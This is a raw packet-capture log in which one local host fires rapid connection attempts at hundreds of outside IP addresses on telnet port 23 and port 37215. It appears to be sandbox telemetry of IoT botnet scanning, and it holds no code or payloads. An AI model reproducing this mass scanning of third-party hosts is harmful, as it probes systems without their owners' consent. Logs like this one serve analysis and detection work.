Jan 30, 2025 10:43:07.012828112 CET	63367	23	192.168.2.14	198.16.91.159
Jan 30, 2025 10:43:07.012828112 CET	63367	23	192.168.2.14	197.135.217.98
Jan 30, 2025 10:43:07.012841940 CET	63367	23	192.168.2.14	125.199.217.70
Jan 30, 2025 10:43:07.012841940 CET	63367	23	192.168.2.14	160.230.142.130
Jan 30, 2025 10:43:07.012851954 CET	63367	23	192.168.2.14	31.92.62.238
Jan 30, 2025 10:43:07.012861967 CET	63367	23	192.168.2.14	112.5.98.48
Jan 30, 2025 10:43:07.012861967 CET	63367	23	192.168.2.14	116.131.114.51
Jan 30, 2025 10:43:07.012868881 CET	63367	23	192.168.2.14	91.140.191.173
Jan 30, 2025 10:43:07.012882948 CET	63367	23	192.168.2.14	188.49.104.211
Jan 30, 2025 10:43:07.012882948 CET	63367	23	192.168.2.14	135.159.231.75
Jan 30, 2025 10:43:07.012885094 CET	63367	23	192.168.2.14	53.204.148.126
Jan 30, 2025 10:43:07.012896061 CET	63367	23	192.168.2.14	78.232.34.128
Jan 30, 2025 10:43:07.012897968 CET	63367	23	192.168.2.14	121.111.49.171
Jan 30, 2025 10:43:07.012897968 CET	63367	23	192.168.2.14	95.64.97.146
Jan 30, 2025 10:43:07.012897968 CET	63367	23	192.168.2.14	25.9.235.81
Jan 30, 2025 10:43:07.012902975 CET	63367	23	192.168.2.14	98.161.42.38
Jan 30, 2025 10:43:07.012907982 CET	63367	23	192.168.2.14	13.4.67.121
Jan 30, 2025 10:43:07.012908936 CET	63367	23	192.168.2.14	194.10.232.63
Jan 30, 2025 10:43:07.012918949 CET	63367	23	192.168.2.14	141.221.209.216
Jan 30, 2025 10:43:07.012929916 CET	63367	23	192.168.2.14	187.179.176.243
Jan 30, 2025 10:43:07.012929916 CET	63367	23	192.168.2.14	219.183.1.130
Jan 30, 2025 10:43:07.012929916 CET	63367	23	192.168.2.14	203.13.216.129
Jan 30, 2025 10:43:07.012939930 CET	63367	23	192.168.2.14	175.34.239.130
Jan 30, 2025 10:43:07.012942076 CET	63367	23	192.168.2.14	87.9.93.139
Jan 30, 2025 10:43:07.012954950 CET	63367	23	192.168.2.14	46.236.4.43
Jan 30, 2025 10:43:07.012960911 CET	63367	23	192.168.2.14	51.44.60.163
Jan 30, 2025 10:43:07.012963057 CET	63367	23	192.168.2.14	218.141.164.26
Jan 30, 2025 10:43:07.012970924 CET	63367	23	192.168.2.14	47.48.12.223
Jan 30, 2025 10:43:07.012984991 CET	63367	23	192.168.2.14	165.124.1.179
Jan 30, 2025 10:43:07.012986898 CET	63367	23	192.168.2.14	183.22.197.226
Jan 30, 2025 10:43:07.012989998 CET	63367	23	192.168.2.14	124.76.167.126
Jan 30, 2025 10:43:07.012989998 CET	63367	23	192.168.2.14	135.249.90.89
Jan 30, 2025 10:43:07.013000011 CET	63367	23	192.168.2.14	79.176.47.194
Jan 30, 2025 10:43:07.013000965 CET	63367	23	192.168.2.14	216.19.195.94
Jan 30, 2025 10:43:07.013001919 CET	63367	23	192.168.2.14	41.22.135.88
Jan 30, 2025 10:43:07.013005972 CET	63367	23	192.168.2.14	205.217.114.254
Jan 30, 2025 10:43:07.013006926 CET	63367	23	192.168.2.14	27.199.128.109
Jan 30, 2025 10:43:07.013020992 CET	63367	23	192.168.2.14	12.149.234.1
Jan 30, 2025 10:43:07.013020992 CET	63367	23	192.168.2.14	2.215.185.45
Jan 30, 2025 10:43:07.013020992 CET	63367	23	192.168.2.14	149.221.177.247
Jan 30, 2025 10:43:07.016762972 CET	23	63367	199.147.21.136	192.168.2.14
Jan 30, 2025 10:43:07.016774893 CET	23	63367	185.229.145.246	192.168.2.14
Jan 30, 2025 10:43:07.016783953 CET	23	63367	82.97.94.48	192.168.2.14
Jan 30, 2025 10:43:07.016788960 CET	23	63367	58.135.222.225	192.168.2.14
Jan 30, 2025 10:43:07.016798019 CET	23	63367	186.106.187.133	192.168.2.14
Jan 30, 2025 10:43:07.016808987 CET	23	63367	150.195.123.31	192.168.2.14
Jan 30, 2025 10:43:07.016833067 CET	63367	23	192.168.2.14	82.97.94.48
Jan 30, 2025 10:43:07.016834021 CET	63367	23	192.168.2.14	199.147.21.136
Jan 30, 2025 10:43:07.016835928 CET	63367	23	192.168.2.14	185.229.145.246
Jan 30, 2025 10:43:07.016844034 CET	63367	23	192.168.2.14	58.135.222.225
Jan 30, 2025 10:43:07.016849041 CET	63367	23	192.168.2.14	186.106.187.133
Jan 30, 2025 10:43:07.016853094 CET	63367	23	192.168.2.14	150.195.123.31
Jan 30, 2025 10:43:07.017005920 CET	23	63367	19.44.249.39	192.168.2.14
Jan 30, 2025 10:43:07.017016888 CET	23	63367	201.5.195.135	192.168.2.14
Jan 30, 2025 10:43:07.017025948 CET	23	63367	36.249.68.220	192.168.2.14
Jan 30, 2025 10:43:07.017036915 CET	23	63367	25.28.20.160	192.168.2.14
Jan 30, 2025 10:43:07.017045021 CET	63367	23	192.168.2.14	19.44.249.39
Jan 30, 2025 10:43:07.017047882 CET	63367	23	192.168.2.14	201.5.195.135
Jan 30, 2025 10:43:07.017055035 CET	23	63367	197.147.169.105	192.168.2.14
Jan 30, 2025 10:43:07.017060995 CET	63367	23	192.168.2.14	36.249.68.220
Jan 30, 2025 10:43:07.017066002 CET	23	63367	207.121.109.253	192.168.2.14
Jan 30, 2025 10:43:07.017071009 CET	63367	23	192.168.2.14	25.28.20.160
Jan 30, 2025 10:43:07.017075062 CET	23	63367	174.151.75.32	192.168.2.14
Jan 30, 2025 10:43:07.017086983 CET	23	63367	67.165.14.236	192.168.2.14
Jan 30, 2025 10:43:07.017096996 CET	23	63367	113.217.0.195	192.168.2.14
Jan 30, 2025 10:43:07.017100096 CET	63367	23	192.168.2.14	197.147.169.105
Jan 30, 2025 10:43:07.017102957 CET	63367	23	192.168.2.14	207.121.109.253
Jan 30, 2025 10:43:07.017107010 CET	63367	23	192.168.2.14	174.151.75.32
Jan 30, 2025 10:43:07.017127991 CET	63367	23	192.168.2.14	67.165.14.236
Jan 30, 2025 10:43:07.017131090 CET	63367	23	192.168.2.14	113.217.0.195
Jan 30, 2025 10:43:07.017591953 CET	23	63367	171.148.168.113	192.168.2.14
Jan 30, 2025 10:43:07.017605066 CET	23	63367	122.128.27.242	192.168.2.14
Jan 30, 2025 10:43:07.017613888 CET	23	63367	84.104.5.89	192.168.2.14
Jan 30, 2025 10:43:07.017623901 CET	23	63367	86.135.106.185	192.168.2.14
Jan 30, 2025 10:43:07.017635107 CET	23	63367	67.4.244.8	192.168.2.14
Jan 30, 2025 10:43:07.017638922 CET	63367	23	192.168.2.14	171.148.168.113
Jan 30, 2025 10:43:07.017641068 CET	63367	23	192.168.2.14	84.104.5.89
Jan 30, 2025 10:43:07.017643929 CET	23	63367	125.126.16.37	192.168.2.14
Jan 30, 2025 10:43:07.017643929 CET	63367	23	192.168.2.14	122.128.27.242
Jan 30, 2025 10:43:07.017654896 CET	23	63367	141.153.120.180	192.168.2.14
Jan 30, 2025 10:43:07.017659903 CET	63367	23	192.168.2.14	86.135.106.185
Jan 30, 2025 10:43:07.017664909 CET	23	63367	51.255.145.71	192.168.2.14
Jan 30, 2025 10:43:07.017667055 CET	63367	23	192.168.2.14	67.4.244.8
Jan 30, 2025 10:43:07.017676115 CET	23	63367	18.42.189.215	192.168.2.14
Jan 30, 2025 10:43:07.017684937 CET	63367	23	192.168.2.14	125.126.16.37
Jan 30, 2025 10:43:07.017692089 CET	63367	23	192.168.2.14	141.153.120.180
Jan 30, 2025 10:43:07.017693996 CET	63367	23	192.168.2.14	51.255.145.71
Jan 30, 2025 10:43:07.017695904 CET	23	63367	89.217.228.11	192.168.2.14
Jan 30, 2025 10:43:07.017699003 CET	63367	23	192.168.2.14	18.42.189.215
Jan 30, 2025 10:43:07.017707109 CET	23	63367	179.104.41.152	192.168.2.14
Jan 30, 2025 10:43:07.017720938 CET	23	63367	14.175.92.196	192.168.2.14
Jan 30, 2025 10:43:07.017729044 CET	63367	23	192.168.2.14	89.217.228.11
Jan 30, 2025 10:43:07.017731905 CET	23	63367	25.168.118.199	192.168.2.14
Jan 30, 2025 10:43:07.017735958 CET	63367	23	192.168.2.14	179.104.41.152
Jan 30, 2025 10:43:07.017740965 CET	23	63367	199.191.133.193	192.168.2.14
Jan 30, 2025 10:43:07.017750978 CET	23	63367	138.17.83.223	192.168.2.14
Jan 30, 2025 10:43:07.017757893 CET	63367	23	192.168.2.14	14.175.92.196
Jan 30, 2025 10:43:07.017760038 CET	23	63367	209.115.129.69	192.168.2.14
Jan 30, 2025 10:43:07.017765045 CET	63367	23	192.168.2.14	25.168.118.199
Jan 30, 2025 10:43:07.017771959 CET	23	63367	34.34.250.150	192.168.2.14
Jan 30, 2025 10:43:07.017779112 CET	63367	23	192.168.2.14	138.17.83.223
Jan 30, 2025 10:43:07.017781019 CET	63367	23	192.168.2.14	199.191.133.193
Jan 30, 2025 10:43:07.017781973 CET	23	63367	116.3.68.178	192.168.2.14
Jan 30, 2025 10:43:07.017792940 CET	23	63367	181.57.94.176	192.168.2.14
Jan 30, 2025 10:43:07.017797947 CET	23	63367	139.81.0.233	192.168.2.14
Jan 30, 2025 10:43:07.017798901 CET	63367	23	192.168.2.14	209.115.129.69
Jan 30, 2025 10:43:07.017798901 CET	63367	23	192.168.2.14	34.34.250.150
Jan 30, 2025 10:43:07.017802000 CET	23	63367	174.204.113.180	192.168.2.14
Jan 30, 2025 10:43:07.017811060 CET	23	63367	61.123.138.203	192.168.2.14
Jan 30, 2025 10:43:07.017822027 CET	23	63367	89.0.46.216	192.168.2.14
Jan 30, 2025 10:43:07.017831087 CET	23	63367	197.59.108.1	192.168.2.14
Jan 30, 2025 10:43:07.017834902 CET	23	63367	115.155.167.37	192.168.2.14
Jan 30, 2025 10:43:07.017837048 CET	63367	23	192.168.2.14	116.3.68.178
Jan 30, 2025 10:43:07.017837048 CET	63367	23	192.168.2.14	181.57.94.176
Jan 30, 2025 10:43:07.017846107 CET	23	63367	157.218.138.151	192.168.2.14
Jan 30, 2025 10:43:07.017848015 CET	63367	23	192.168.2.14	139.81.0.233
Jan 30, 2025 10:43:07.017848969 CET	63367	23	192.168.2.14	174.204.113.180
Jan 30, 2025 10:43:07.017857075 CET	23	63367	9.34.194.86	192.168.2.14
Jan 30, 2025 10:43:07.017867088 CET	23	63367	38.59.68.28	192.168.2.14
Jan 30, 2025 10:43:07.017873049 CET	63367	23	192.168.2.14	89.0.46.216
Jan 30, 2025 10:43:07.017873049 CET	63367	23	192.168.2.14	115.155.167.37
Jan 30, 2025 10:43:07.017873049 CET	63367	23	192.168.2.14	61.123.138.203
Jan 30, 2025 10:43:07.017874002 CET	63367	23	192.168.2.14	197.59.108.1
Jan 30, 2025 10:43:07.017874002 CET	63367	23	192.168.2.14	157.218.138.151
Jan 30, 2025 10:43:07.017877102 CET	23	63367	45.28.28.52	192.168.2.14
Jan 30, 2025 10:43:07.017885923 CET	23	63367	54.13.5.82	192.168.2.14
Jan 30, 2025 10:43:07.017895937 CET	63367	23	192.168.2.14	9.34.194.86
Jan 30, 2025 10:43:07.017896891 CET	23	63367	162.154.61.3	192.168.2.14
Jan 30, 2025 10:43:07.017899990 CET	63367	23	192.168.2.14	38.59.68.28
Jan 30, 2025 10:43:07.017903090 CET	63367	23	192.168.2.14	45.28.28.52
Jan 30, 2025 10:43:07.017909050 CET	23	63367	200.78.195.167	192.168.2.14
Jan 30, 2025 10:43:07.017920971 CET	23	63367	183.48.194.93	192.168.2.14
Jan 30, 2025 10:43:07.017925978 CET	63367	23	192.168.2.14	54.13.5.82
Jan 30, 2025 10:43:07.017930984 CET	23	63367	57.102.72.165	192.168.2.14
Jan 30, 2025 10:43:07.017931938 CET	63367	23	192.168.2.14	162.154.61.3
Jan 30, 2025 10:43:07.017940998 CET	23	63367	50.71.82.85	192.168.2.14
Jan 30, 2025 10:43:07.017949104 CET	63367	23	192.168.2.14	200.78.195.167
Jan 30, 2025 10:43:07.017951012 CET	23	63367	73.187.221.88	192.168.2.14
Jan 30, 2025 10:43:07.017960072 CET	23	63367	174.68.129.23	192.168.2.14
Jan 30, 2025 10:43:07.017966986 CET	63367	23	192.168.2.14	183.48.194.93
Jan 30, 2025 10:43:07.017966986 CET	63367	23	192.168.2.14	57.102.72.165
Jan 30, 2025 10:43:07.017970085 CET	23	63367	150.1.250.211	192.168.2.14
Jan 30, 2025 10:43:07.017982006 CET	63367	23	192.168.2.14	50.71.82.85
Jan 30, 2025 10:43:07.017982960 CET	63367	23	192.168.2.14	73.187.221.88
Jan 30, 2025 10:43:07.017998934 CET	63367	23	192.168.2.14	174.68.129.23
Jan 30, 2025 10:43:07.017998934 CET	63367	23	192.168.2.14	150.1.250.211
Jan 30, 2025 10:43:07.147166967 CET	38040	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:07.147171974 CET	43144	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:07.147171021 CET	39658	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:07.147203922 CET	36094	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:07.147203922 CET	59050	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:07.147207975 CET	36374	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:07.147209883 CET	37188	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:07.147208929 CET	53256	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:07.147209883 CET	44018	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:07.147209883 CET	43770	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:07.147228003 CET	50100	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:07.152715921 CET	37215	43144	41.175.68.121	192.168.2.14
Jan 30, 2025 10:43:07.152729988 CET	37215	39658	41.99.242.230	192.168.2.14
Jan 30, 2025 10:43:07.152740002 CET	37215	38040	156.244.153.180	192.168.2.14
Jan 30, 2025 10:43:07.152750969 CET	37215	44018	197.50.34.79	192.168.2.14
Jan 30, 2025 10:43:07.152760029 CET	37215	36094	197.191.245.38	192.168.2.14
Jan 30, 2025 10:43:07.152791977 CET	37215	59050	41.180.130.242	192.168.2.14
Jan 30, 2025 10:43:07.152803898 CET	37215	53256	156.55.180.225	192.168.2.14
Jan 30, 2025 10:43:07.152808905 CET	38040	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:07.152810097 CET	37215	37188	197.103.208.53	192.168.2.14
Jan 30, 2025 10:43:07.152813911 CET	39658	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:07.152813911 CET	44018	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:07.152817965 CET	37215	36374	197.171.102.195	192.168.2.14
Jan 30, 2025 10:43:07.152832985 CET	43144	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:07.152834892 CET	37215	43770	41.46.127.52	192.168.2.14
Jan 30, 2025 10:43:07.152841091 CET	36094	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:07.152851105 CET	59050	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:07.152854919 CET	37188	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:07.152856112 CET	53256	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:07.152861118 CET	37215	50100	156.46.13.57	192.168.2.14
Jan 30, 2025 10:43:07.152872086 CET	36374	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:07.152873993 CET	43770	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:07.152893066 CET	38040	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:07.152909040 CET	50100	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:07.152911901 CET	39658	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:07.152911901 CET	44018	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:07.152915955 CET	43144	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:07.152956009 CET	60295	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.152964115 CET	60295	37215	192.168.2.14	156.148.227.108
Jan 30, 2025 10:43:07.152967930 CET	60295	37215	192.168.2.14	41.228.115.4
Jan 30, 2025 10:43:07.152982950 CET	60295	37215	192.168.2.14	197.135.226.155
Jan 30, 2025 10:43:07.152983904 CET	60295	37215	192.168.2.14	156.157.114.7
Jan 30, 2025 10:43:07.152987957 CET	60295	37215	192.168.2.14	41.156.163.90
Jan 30, 2025 10:43:07.152996063 CET	60295	37215	192.168.2.14	156.107.57.1
Jan 30, 2025 10:43:07.152996063 CET	60295	37215	192.168.2.14	197.153.71.56
Jan 30, 2025 10:43:07.152996063 CET	60295	37215	192.168.2.14	156.254.147.93
Jan 30, 2025 10:43:07.152997017 CET	60295	37215	192.168.2.14	156.89.4.63
Jan 30, 2025 10:43:07.153001070 CET	60295	37215	192.168.2.14	41.25.153.142
Jan 30, 2025 10:43:07.153001070 CET	60295	37215	192.168.2.14	41.253.238.69
Jan 30, 2025 10:43:07.153014898 CET	60295	37215	192.168.2.14	156.68.246.46
Jan 30, 2025 10:43:07.153016090 CET	60295	37215	192.168.2.14	156.0.24.206
Jan 30, 2025 10:43:07.153018951 CET	60295	37215	192.168.2.14	41.94.207.145
Jan 30, 2025 10:43:07.153018951 CET	60295	37215	192.168.2.14	156.228.8.123
Jan 30, 2025 10:43:07.153018951 CET	60295	37215	192.168.2.14	156.102.222.16
Jan 30, 2025 10:43:07.153023005 CET	60295	37215	192.168.2.14	41.34.57.70
Jan 30, 2025 10:43:07.153023005 CET	60295	37215	192.168.2.14	156.117.190.158
Jan 30, 2025 10:43:07.153037071 CET	60295	37215	192.168.2.14	197.24.82.193
Jan 30, 2025 10:43:07.153038979 CET	60295	37215	192.168.2.14	156.7.110.121
Jan 30, 2025 10:43:07.153038979 CET	60295	37215	192.168.2.14	197.232.164.92
Jan 30, 2025 10:43:07.153059006 CET	60295	37215	192.168.2.14	197.195.222.231
Jan 30, 2025 10:43:07.153059959 CET	60295	37215	192.168.2.14	197.224.175.63
Jan 30, 2025 10:43:07.153062105 CET	60295	37215	192.168.2.14	156.83.120.248
Jan 30, 2025 10:43:07.153067112 CET	60295	37215	192.168.2.14	197.148.7.108
Jan 30, 2025 10:43:07.153073072 CET	60295	37215	192.168.2.14	197.10.183.39
Jan 30, 2025 10:43:07.153073072 CET	60295	37215	192.168.2.14	41.156.137.244
Jan 30, 2025 10:43:07.153076887 CET	60295	37215	192.168.2.14	156.5.86.108
Jan 30, 2025 10:43:07.153076887 CET	60295	37215	192.168.2.14	156.44.21.119
Jan 30, 2025 10:43:07.153076887 CET	60295	37215	192.168.2.14	41.207.135.78
Jan 30, 2025 10:43:07.153103113 CET	60295	37215	192.168.2.14	197.176.59.249
Jan 30, 2025 10:43:07.153103113 CET	60295	37215	192.168.2.14	197.235.130.244
Jan 30, 2025 10:43:07.153107882 CET	60295	37215	192.168.2.14	156.245.195.40
Jan 30, 2025 10:43:07.153114080 CET	60295	37215	192.168.2.14	156.90.4.78
Jan 30, 2025 10:43:07.153122902 CET	60295	37215	192.168.2.14	197.218.120.177
Jan 30, 2025 10:43:07.153122902 CET	60295	37215	192.168.2.14	197.242.165.93
Jan 30, 2025 10:43:07.153124094 CET	60295	37215	192.168.2.14	41.12.233.214
Jan 30, 2025 10:43:07.153124094 CET	60295	37215	192.168.2.14	197.206.150.173
Jan 30, 2025 10:43:07.153126001 CET	60295	37215	192.168.2.14	41.168.184.57
Jan 30, 2025 10:43:07.153126955 CET	60295	37215	192.168.2.14	41.211.189.105
Jan 30, 2025 10:43:07.153126001 CET	60295	37215	192.168.2.14	197.230.208.36
Jan 30, 2025 10:43:07.153126955 CET	60295	37215	192.168.2.14	156.126.102.79
Jan 30, 2025 10:43:07.153140068 CET	60295	37215	192.168.2.14	197.177.200.67
Jan 30, 2025 10:43:07.153140068 CET	60295	37215	192.168.2.14	41.224.62.102
Jan 30, 2025 10:43:07.153140068 CET	60295	37215	192.168.2.14	156.220.215.3
Jan 30, 2025 10:43:07.153141975 CET	60295	37215	192.168.2.14	197.122.99.129
Jan 30, 2025 10:43:07.153145075 CET	60295	37215	192.168.2.14	41.102.95.162
Jan 30, 2025 10:43:07.153148890 CET	60295	37215	192.168.2.14	156.162.106.36
Jan 30, 2025 10:43:07.153148890 CET	60295	37215	192.168.2.14	41.222.77.130
Jan 30, 2025 10:43:07.153150082 CET	60295	37215	192.168.2.14	197.72.98.63
Jan 30, 2025 10:43:07.153162003 CET	60295	37215	192.168.2.14	41.240.23.159
Jan 30, 2025 10:43:07.153162003 CET	60295	37215	192.168.2.14	156.85.139.67
Jan 30, 2025 10:43:07.153163910 CET	60295	37215	192.168.2.14	156.157.153.10
Jan 30, 2025 10:43:07.153163910 CET	60295	37215	192.168.2.14	197.231.35.4
Jan 30, 2025 10:43:07.153173923 CET	60295	37215	192.168.2.14	197.59.156.48
Jan 30, 2025 10:43:07.153176069 CET	60295	37215	192.168.2.14	41.37.130.129
Jan 30, 2025 10:43:07.153176069 CET	60295	37215	192.168.2.14	197.92.87.48
Jan 30, 2025 10:43:07.153176069 CET	60295	37215	192.168.2.14	41.120.54.51
Jan 30, 2025 10:43:07.153177023 CET	60295	37215	192.168.2.14	156.199.91.233
Jan 30, 2025 10:43:07.153177023 CET	60295	37215	192.168.2.14	41.250.156.137
Jan 30, 2025 10:43:07.153179884 CET	60295	37215	192.168.2.14	41.90.219.231
Jan 30, 2025 10:43:07.153182030 CET	60295	37215	192.168.2.14	197.222.5.85
Jan 30, 2025 10:43:07.153187990 CET	60295	37215	192.168.2.14	156.125.138.179
Jan 30, 2025 10:43:07.153187990 CET	60295	37215	192.168.2.14	156.82.193.57
Jan 30, 2025 10:43:07.153189898 CET	60295	37215	192.168.2.14	197.215.248.196
Jan 30, 2025 10:43:07.153196096 CET	60295	37215	192.168.2.14	156.245.189.210
Jan 30, 2025 10:43:07.153197050 CET	60295	37215	192.168.2.14	197.136.236.210
Jan 30, 2025 10:43:07.153203964 CET	60295	37215	192.168.2.14	41.48.250.40
Jan 30, 2025 10:43:07.153203964 CET	60295	37215	192.168.2.14	197.27.225.142
Jan 30, 2025 10:43:07.153206110 CET	60295	37215	192.168.2.14	197.102.214.126
Jan 30, 2025 10:43:07.153206110 CET	60295	37215	192.168.2.14	197.57.161.160
Jan 30, 2025 10:43:07.153206110 CET	60295	37215	192.168.2.14	197.235.41.124
Jan 30, 2025 10:43:07.153208017 CET	60295	37215	192.168.2.14	197.152.189.112
Jan 30, 2025 10:43:07.153206110 CET	60295	37215	192.168.2.14	197.73.1.60
Jan 30, 2025 10:43:07.153206110 CET	60295	37215	192.168.2.14	156.18.100.106
Jan 30, 2025 10:43:07.153206110 CET	60295	37215	192.168.2.14	197.102.157.66
Jan 30, 2025 10:43:07.153206110 CET	60295	37215	192.168.2.14	41.53.255.143
Jan 30, 2025 10:43:07.153209925 CET	60295	37215	192.168.2.14	41.96.34.156
Jan 30, 2025 10:43:07.153212070 CET	60295	37215	192.168.2.14	156.172.119.16
Jan 30, 2025 10:43:07.153222084 CET	60295	37215	192.168.2.14	41.6.113.83
Jan 30, 2025 10:43:07.153223991 CET	60295	37215	192.168.2.14	41.106.215.143
Jan 30, 2025 10:43:07.153238058 CET	60295	37215	192.168.2.14	197.175.201.64
Jan 30, 2025 10:43:07.153238058 CET	60295	37215	192.168.2.14	197.227.204.53
Jan 30, 2025 10:43:07.153238058 CET	60295	37215	192.168.2.14	41.177.59.246
Jan 30, 2025 10:43:07.153238058 CET	60295	37215	192.168.2.14	41.164.117.147
Jan 30, 2025 10:43:07.153240919 CET	60295	37215	192.168.2.14	156.157.139.222
Jan 30, 2025 10:43:07.153248072 CET	60295	37215	192.168.2.14	41.93.2.92
Jan 30, 2025 10:43:07.153254032 CET	60295	37215	192.168.2.14	41.55.28.135
Jan 30, 2025 10:43:07.153304100 CET	60295	37215	192.168.2.14	156.159.32.28
Jan 30, 2025 10:43:07.153347015 CET	60295	37215	192.168.2.14	197.152.8.56
Jan 30, 2025 10:43:07.153347015 CET	60295	37215	192.168.2.14	197.190.89.164
Jan 30, 2025 10:43:07.153347969 CET	60295	37215	192.168.2.14	156.178.188.94
Jan 30, 2025 10:43:07.153347969 CET	60295	37215	192.168.2.14	197.60.175.61
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	156.58.35.245
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	156.61.151.60
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	156.24.207.198
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	197.11.235.79
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	156.122.7.193
Jan 30, 2025 10:43:07.153351068 CET	60295	37215	192.168.2.14	197.33.82.254
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	197.227.108.237
Jan 30, 2025 10:43:07.153351068 CET	60295	37215	192.168.2.14	197.44.97.52
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	156.153.181.40
Jan 30, 2025 10:43:07.153351068 CET	60295	37215	192.168.2.14	197.130.174.67
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	156.18.254.99
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	197.19.212.151
Jan 30, 2025 10:43:07.153348923 CET	60295	37215	192.168.2.14	156.163.201.132
Jan 30, 2025 10:43:07.153351068 CET	60295	37215	192.168.2.14	197.208.81.119
Jan 30, 2025 10:43:07.153379917 CET	60295	37215	192.168.2.14	197.253.120.97
Jan 30, 2025 10:43:07.153381109 CET	60295	37215	192.168.2.14	197.161.143.13
Jan 30, 2025 10:43:07.153379917 CET	60295	37215	192.168.2.14	156.101.114.26
Jan 30, 2025 10:43:07.153381109 CET	60295	37215	192.168.2.14	156.100.199.72
Jan 30, 2025 10:43:07.153382063 CET	60295	37215	192.168.2.14	156.249.102.22
Jan 30, 2025 10:43:07.153383017 CET	60295	37215	192.168.2.14	197.240.105.113
Jan 30, 2025 10:43:07.153382063 CET	60295	37215	192.168.2.14	156.55.110.2
Jan 30, 2025 10:43:07.153383017 CET	60295	37215	192.168.2.14	41.215.22.9
Jan 30, 2025 10:43:07.153383017 CET	60295	37215	192.168.2.14	41.96.96.255
Jan 30, 2025 10:43:07.153383970 CET	60295	37215	192.168.2.14	156.6.221.8
Jan 30, 2025 10:43:07.153383970 CET	60295	37215	192.168.2.14	197.200.19.21
Jan 30, 2025 10:43:07.153383970 CET	60295	37215	192.168.2.14	156.233.227.4
Jan 30, 2025 10:43:07.153383970 CET	60295	37215	192.168.2.14	41.141.254.101
Jan 30, 2025 10:43:07.153386116 CET	60295	37215	192.168.2.14	156.203.128.27
Jan 30, 2025 10:43:07.153387070 CET	60295	37215	192.168.2.14	197.163.133.83
Jan 30, 2025 10:43:07.153387070 CET	60295	37215	192.168.2.14	156.255.203.86
Jan 30, 2025 10:43:07.153387070 CET	60295	37215	192.168.2.14	41.169.223.134
Jan 30, 2025 10:43:07.153387070 CET	60295	37215	192.168.2.14	41.172.242.112
Jan 30, 2025 10:43:07.153387070 CET	60295	37215	192.168.2.14	41.52.140.242
Jan 30, 2025 10:43:07.153429031 CET	60295	37215	192.168.2.14	41.207.30.180
Jan 30, 2025 10:43:07.153429031 CET	60295	37215	192.168.2.14	156.31.234.188
Jan 30, 2025 10:43:07.153429985 CET	60295	37215	192.168.2.14	41.135.178.208
Jan 30, 2025 10:43:07.153429985 CET	60295	37215	192.168.2.14	197.88.253.158
Jan 30, 2025 10:43:07.153429985 CET	60295	37215	192.168.2.14	197.155.80.165
Jan 30, 2025 10:43:07.153430939 CET	60295	37215	192.168.2.14	197.139.141.118
Jan 30, 2025 10:43:07.153431892 CET	60295	37215	192.168.2.14	156.127.130.60
Jan 30, 2025 10:43:07.153433084 CET	60295	37215	192.168.2.14	197.41.107.224
Jan 30, 2025 10:43:07.153430939 CET	60295	37215	192.168.2.14	41.140.95.228
Jan 30, 2025 10:43:07.153433084 CET	60295	37215	192.168.2.14	197.23.224.10
Jan 30, 2025 10:43:07.153434992 CET	60295	37215	192.168.2.14	156.46.48.103
Jan 30, 2025 10:43:07.153430939 CET	60295	37215	192.168.2.14	41.118.80.200
Jan 30, 2025 10:43:07.153433084 CET	60295	37215	192.168.2.14	156.66.216.140
Jan 30, 2025 10:43:07.153430939 CET	60295	37215	192.168.2.14	197.152.16.29
Jan 30, 2025 10:43:07.153433084 CET	60295	37215	192.168.2.14	41.89.44.63
Jan 30, 2025 10:43:07.153434992 CET	60295	37215	192.168.2.14	41.55.56.225
Jan 30, 2025 10:43:07.153430939 CET	60295	37215	192.168.2.14	41.160.48.142
Jan 30, 2025 10:43:07.153434992 CET	60295	37215	192.168.2.14	41.158.74.207
Jan 30, 2025 10:43:07.153433084 CET	60295	37215	192.168.2.14	156.207.165.119
Jan 30, 2025 10:43:07.153434992 CET	60295	37215	192.168.2.14	197.146.98.18
Jan 30, 2025 10:43:07.153434992 CET	60295	37215	192.168.2.14	197.89.46.248
Jan 30, 2025 10:43:07.153455019 CET	60295	37215	192.168.2.14	41.58.92.44
Jan 30, 2025 10:43:07.153455019 CET	60295	37215	192.168.2.14	41.120.250.150
Jan 30, 2025 10:43:07.153455973 CET	60295	37215	192.168.2.14	197.0.111.48
Jan 30, 2025 10:43:07.153455973 CET	60295	37215	192.168.2.14	197.152.71.175
Jan 30, 2025 10:43:07.153456926 CET	60295	37215	192.168.2.14	41.97.101.86
